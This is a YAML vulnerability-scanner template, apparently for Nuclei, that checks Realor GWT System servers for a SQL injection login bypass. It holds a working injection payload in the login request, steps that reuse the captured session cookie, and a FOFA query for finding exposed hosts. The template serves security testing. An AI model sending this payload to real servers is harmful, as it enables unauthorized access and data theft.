43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: realor-gwt-system-sqli
|
|
|
|
info:
|
|
name: Realor GWT System SQL injection
|
|
author: SleepingBag945
|
|
severity: high
|
|
description: |
|
|
Realor GWT System system improperly handles the security of data passed by users, resulting in a SQL injection vulnerability. Remote and unauthorized attackers can use this vulnerability to obtain sensitive information in the database, and can further write webshell backdoors. Access, the attacker can execute arbitrary malicious code on the target server and gain system privileges.
|
|
reference:
|
|
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/realor-gwt-system-sql-injection.yaml
|
|
metadata:
|
|
fofa-query: app="REALOR-天翼应用虚拟化系统"
|
|
max-request: 2
|
|
verified: "true"
|
|
tags: realor,sqli
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /AgentBoard.XGI?user='||'1&cmd=UserLogin HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /Board.XGI HTTP/1.1
|
|
Cookie: PHPSESSID={{cookie}}
|
|
Host: {{Hostname}}
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: cookie
|
|
internal: true
|
|
part: header
|
|
group: 1
|
|
regex:
|
|
- 'PHPSESSID=(.*?);'
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_1,"CustomInfo") && contains(header_1,"PHPSESSID")'
|
|
- 'contains(body_2,"src=\"custom/")'
|
|
condition: and
|